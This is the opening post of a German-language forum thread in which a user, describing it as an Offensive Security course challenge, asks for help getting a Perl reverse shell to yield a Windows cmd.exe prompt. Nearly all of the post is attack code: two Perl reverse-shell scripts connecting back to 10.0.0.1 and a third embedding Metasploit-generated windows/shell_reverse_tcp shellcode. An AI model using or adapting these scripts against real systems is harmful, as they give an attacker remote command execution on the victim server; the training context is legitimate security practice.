Thread reverse tcp shell
(36 answers)
Opened by Whook at 2013-09-30 14:50
Hallo,
ich versuche auf eine Windows Maschine (Apache,Perl) ein Perl Script hochzuladen, dass eine Reverse Shell Verbindung aufbaut und dann cmd.exe darin umleitet. Den Verbindungsaufbau bekomme ich hin, leider kein Comand Prompt. Eines vielleicht gleich vorweg, ja, ich versuche hier ein Fremdsystem zu hacken aber das soll ich auch machen, es handelt sich um eine Security Challenge, ich mache gerade einen Kurs hier: www.offensive-security.com Ich habe mehrere Versuche: Versuch1: Code (perl): (dl
)
1 2 3 4 5 6 7 8 #!c:/perl/bin/perl.exe use IO::Socket; ## meine IP= 10.0.0.1 $socket = new IO::Socket::INET(PeerAddr,"10.0.0.1:1234"); STDIN->fdopen($socket,r); $~->fdopen($socket,w); system$_ while<>; Versuch 2: Code (perl): (dl
)
1 2 3 4 5 6 7 8 9 10 11 12 13 #!c:/perl/bin/perl.exe use Socket; $i="10.0.0.1"; $p=4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); ##exec("cmd.exe"); #hatte erst das probiert system("start cmd.exe /k $cmd"); }; Versuch 3 mit generierter Shell durch msfpayload: Code (perl): (dl
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #!c:/perl/bin/perl.exe use IO::Socket; # windows/shell_reverse_tcp - 314 bytes # http://www.metasploit.com # VERBOSE=false, LHOST=10.0.0.1, LPORT=1234, # ReverseConnectRetries=5, ReverseAllowProxy=false, # PrependMigrate=false, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= $shell = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" . "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" . "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" . "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" . "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" . "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" . "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" . "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" . "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" . "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" . "\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" . "\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" . "\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" . "\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68" . "\xc0\xa8\x0e\x7d\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x56" . "\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" . "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" . "\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" . "\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" . "\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" . "\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" . "\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" . "\x6f\x6a\x00\x53\xff\xd5"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "10.0.0.1", PeerPort => "1234") or die "Keine Verbindung"; $socket->recv($sd, 1024); in $sd print "$sd"; $socket->send($shell); Last edited: 2013-09-30 16:22:10 +0200 (CEST) |